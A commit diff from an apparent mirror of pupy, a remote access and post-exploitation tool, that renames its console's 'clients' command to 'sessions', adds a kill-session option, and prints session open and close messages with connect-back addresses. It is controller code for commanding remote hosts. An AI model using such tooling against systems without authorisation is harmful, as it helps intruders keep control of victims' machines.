mirror of https://github.com/n1nj4sec/pupy.git
When sessions connect/disconnect a status message will now be displayed
clients command was renamed to sessions added an option to kill a session through the sessions command
This commit is contained in:
parent
a994dc651d
commit
2f36d69f78
|
@ -357,11 +357,30 @@ class PupyCmd(cmd.Cmd):
|
|||
""" List available modules with a brief description """
|
||||
for m,d in self.pupsrv.list_modules():
|
||||
self.stdout.write("{:<20} {}\n".format(m, color(d,'grey')))
|
||||
|
||||
def do_clients(self, arg):
|
||||
""" List connected clients """
|
||||
client_list=self.pupsrv.get_clients_list()
|
||||
self.display(PupyCmd.table_format([x.desc for x in client_list], wl=["id", "user", "hostname", "platform", "release", "os_arch", "address"]))
|
||||
|
||||
def do_sessions(self, arg):
|
||||
""" list/interact with established sessions """
|
||||
arg_parser = PupyArgumentParser(prog='sessions', description='List/interact with established sessions')
|
||||
arg_parser.add_argument('-k', dest='kill', metavar='<id>', type=int, help='Kill the selected session')
|
||||
#arg_parser.add_argument('-i', dest='interact', metavar='<id>', help='Interact with the supplied session ID')
|
||||
arg_parser.add_argument('-l', dest='list', action='store_true', help='List all active sessions')
|
||||
|
||||
try:
|
||||
modargs=arg_parser.parse_args(shlex.split(arg))
|
||||
except PupyModuleExit:
|
||||
return
|
||||
|
||||
if modargs.list or not arg:
|
||||
client_list=self.pupsrv.get_clients_list()
|
||||
self.display(PupyCmd.table_format([x.desc for x in client_list], wl=["id", "user", "hostname", "platform", "release", "os_arch", "address"]))
|
||||
|
||||
elif modargs.kill:
|
||||
selected_client = self.pupsrv.get_clients(modargs.kill)
|
||||
if selected_client:
|
||||
try:
|
||||
selected_client[0].conn.exit()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def do_jobs(self, arg):
|
||||
""" manage jobs """
|
||||
|
@ -408,7 +427,7 @@ class PupyCmd(cmd.Cmd):
|
|||
self.display_error(traceback.format_exc())
|
||||
|
||||
def do_python(self,arg):
|
||||
""" start interacting with the server local python interpreter (for debugging purposes). Auto-completion available. """
|
||||
""" start the local python interpreter (for debugging purposes) """
|
||||
orig_exit=builtins.exit
|
||||
orig_quit=builtins.quit
|
||||
def disabled_exit(*args, **kwargs):
|
||||
|
@ -504,7 +523,7 @@ class PupyCmd(cmd.Cmd):
|
|||
error=pj.interactive_wait()
|
||||
if error and not modjobs:
|
||||
pj.stop()
|
||||
|
||||
|
||||
except KeyboardInterrupt:
|
||||
self.display_warning("interrupting job ... (please wait)")
|
||||
pj.interrupt()
|
||||
|
|
|
@ -24,6 +24,8 @@ import modules
|
|||
import logging
|
||||
from .PupyErrors import PupyModuleExit, PupyModuleError
|
||||
from .PupyJob import PupyJob
|
||||
from .PupyCmd import color_real
|
||||
|
||||
try:
|
||||
import ConfigParser as configparser
|
||||
except ImportError:
|
||||
|
@ -127,12 +129,20 @@ class PupyServer(threading.Thread):
|
|||
"pid" : l[7],
|
||||
"address" : conn._conn._config['connid'].split(':')[0],
|
||||
}, self))
|
||||
self.current_id+=1
|
||||
|
||||
addr = conn.modules['pupy'].get_connect_back_host()
|
||||
server_ip, server_port = addr.rsplit(':', 1)
|
||||
client_ip, client_port = conn._conn._config['connid'].split(':')
|
||||
|
||||
print color_real('[*]', 'blue'), "Session {} opened ({}:{} -> {}:{})".format(self.current_id, server_ip, server_port, client_ip, client_port)
|
||||
|
||||
self.current_id += 1
|
||||
|
||||
def remove_client(self, client):
|
||||
with self.clients_lock:
|
||||
for i,c in enumerate(self.clients):
|
||||
if c.conn is client:
|
||||
print color_real('[*]', 'blue'), 'Session {} closed'.format(self.clients[i].desc['id'])
|
||||
del self.clients[i]
|
||||
break
|
||||
|
||||
|
@ -219,7 +229,6 @@ class PupyServer(threading.Thread):
|
|||
self.jobs[self.jobs_id]=job
|
||||
self.jobs_id+=1
|
||||
|
||||
|
||||
def get_job(self, job_id):
|
||||
try:
|
||||
job_id=int(job_id)
|
||||
|
|
Loading…
Reference in New Issue